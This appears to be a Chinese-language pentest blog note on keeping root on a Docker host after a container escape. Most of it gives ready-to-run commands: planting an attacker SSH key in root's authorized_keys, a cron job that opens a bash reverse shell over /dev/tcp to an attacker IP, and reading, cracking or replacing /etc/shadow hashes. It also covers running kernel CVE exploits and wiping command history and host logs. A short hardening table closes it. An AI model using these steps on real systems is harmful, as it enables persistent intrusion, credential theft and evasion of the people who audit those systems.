成功逃逸Docker容器只是第一步,如何在宿主机上建立持久化、高权限的后门,是渗透测试的关键环节。本笔记从实战视角出发,系统梳理容器逃逸后的四种核心提权与权限维持技术:写入SSH公钥写入计划任务破解/修改shadow密文利用宿主机内核CVE漏洞


1. 逃逸后提权:核心思路

核心前提:通过特权模式(--privileged)、Docker Socket挂载或API未授权等方式逃逸后,攻击者已获得宿主机文件系统的读写能力(通常通过挂载宿主机根目录到容器内某路径实现)。在此基础上,可执行以下操作。

2. 写入SSH公钥(推荐首选)

原理:将攻击者控制的SSH公钥写入宿主机的/root/.ssh/authorized_keys文件,即可绕过密码验证,直接以root身份SSH登录宿主机。

适用场景:宿主机SSH服务开启(22端口开放)。

操作步骤

步骤

操作

命令示例

1. 生成密钥对

在攻击机生成SSH密钥

ssh-keygen -b 4096 -t rsa

2. 查看公钥

复制公钥内容

cat ~/.ssh/id_rsa.pub

3. 写入宿主机

将公钥追加到authorized_keys

echo 'ssh-rsa AAA...' > /挂载路径/root/.ssh/authorized_keys

4. SSH登录

使用私钥连接宿主机

ssh -i ~/.ssh/id_rsa root@宿主机IP

注意事项

  • /root/.ssh/目录不存在,需先创建:mkdir -p /挂载路径/root/.ssh/
  • 确保authorized_keys文件权限为600:chmod 600 /挂载路径/root/.ssh/authorized_keys

3. 写入计划任务(Cron Job)

原理:通过向宿主机的cron任务文件写入反弹Shell命令,系统每分钟自动执行,从而获得持久化的root权限Shell。

不同发行版的cron路径

发行版

路径

CentOS/RHEL

/var/spool/cron/root

Ubuntu/Debian

/var/spool/cron/crontabs/root

Alpine Linux

/etc/cron.d/root

通用系统任务

/etc/crontab

操作示例(CentOS)

echo '* * * * * /bin/bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1' >> /挂载路径/var/spool/cron/root

等待约1分钟,攻击机监听端口即可收到root权限的反弹Shell。


4. 破解/修改/etc/shadow密文

原理:读取宿主机/etc/shadow文件中的密码哈希,利用hashcat等工具离线破解,获取root明文密码。

操作步骤

步骤

操作

命令示例

1. 读取shadow

从挂载目录读取shadow文件

cat /挂载路径/etc/shadow

2. 提取root哈希

复制root用户的密码哈希段

格式:root:$6$xyz...:...

3. 离线破解

使用hashcat破解

hashcat -m 1800 -a 0 hash.txt rockyou.txt

4. 获取明文密码

破解成功后用密码登录

su root 或 SSH登录

hashcat参数说明

  • -m 1800:指定哈希类型为sha512crypt(Linux默认)
  • -a 0:字典攻击模式
  • 也可使用john(John the Ripper)替代

直接修改shadow(无需破解)
若仅需快速获取权限,可直接修改shadow文件,将root密码替换为己知哈希:

# 先生成新密码哈希
openssl passwd -6 新密码
# 将生成的哈希替换shadow中root的密码段

5. 利用宿主机内核CVE漏洞

原理:容器与宿主机共享同一内核,若宿主机内核存在已知提权漏洞,可直接在容器内执行EXP获得宿主机root权限。

常见容器逃逸/提权相关CVE

CVE编号

影响组件

说明

CVE-2026-34040

Docker Engine

授权绕过,允许攻击者通过构造API请求逃逸至宿主机

CVE-2026-32311

Docker

命令注入 + 容器逃逸,可在宿主机获得root权限

CVE-2026-6406

Docker Desktop

ECI隔离绕过漏洞

CVE-2024-41110

Docker Engine

授权插件绕过漏洞

CVE-2022-0847

Linux内核

Dirty Pipe,任意只读文件覆写

CVE-2016-5195

Linux内核

Dirty COW,写时拷贝竞争条件

操作思路

  1. 在容器内执行uname -r获取宿主机内核版本
  2. 使用linux-exploit-suggester等工具筛选可用CVE
  3. 上传对应EXP,编译执行,获得宿主机root Shell

6. 渗透测试实战Checklist
1. 确认逃逸成功
   - [ ] 已通过特权模式/Docker Socket/API未授权等方式逃逸
   - [ ] 宿主机根目录已挂载到容器内某路径(如/mnt或/test)
   - [ ] 验证可读取宿主机文件:`ls /挂载路径/root/`

2. 建立持久化后门
   - [ ] 写入SSH公钥:`echo '公钥' > /挂载路径/root/.ssh/authorized_keys`
   - [ ] 写入计划任务:`echo '* * * * * 反弹命令' >> /挂载路径/var/spool/cron/root`

3. 获取root密码(可选)
   - [ ] 读取shadow:`cat /挂载路径/etc/shadow`
   - [ ] 使用hashcat/john离线破解
   - [ ] 或直接替换shadow中的root密码哈希

4. 内核漏洞利用(备选)
   - [ ] 检测宿主机内核版本:`uname -r`
   - [ ] 使用linux-exploit-suggester筛选可用CVE
   - [ ] 上传并执行EXP

5. 清理痕迹
   - [ ] 清除容器内命令历史:`history -c`
   - [ ] 清除宿主机日志(/var/log/)

7. 防御建议(从渗透视角反推)

风险点

加固措施

特权容器

禁止使用--privileged;使用--cap-drop=ALL最小化权限

SSH公钥写入

禁用root SSH登录;使用密钥+密码双因素认证

计划任务

限制/var/spool/cron/目录写权限;监控异常cron条目

shadow文件

使用强密码策略;定期更换密码

内核漏洞

及时更新宿主机内核,启用livepatch热修复

Docker API暴露

禁止2375端口暴露公网;启用TLS认证

更多推荐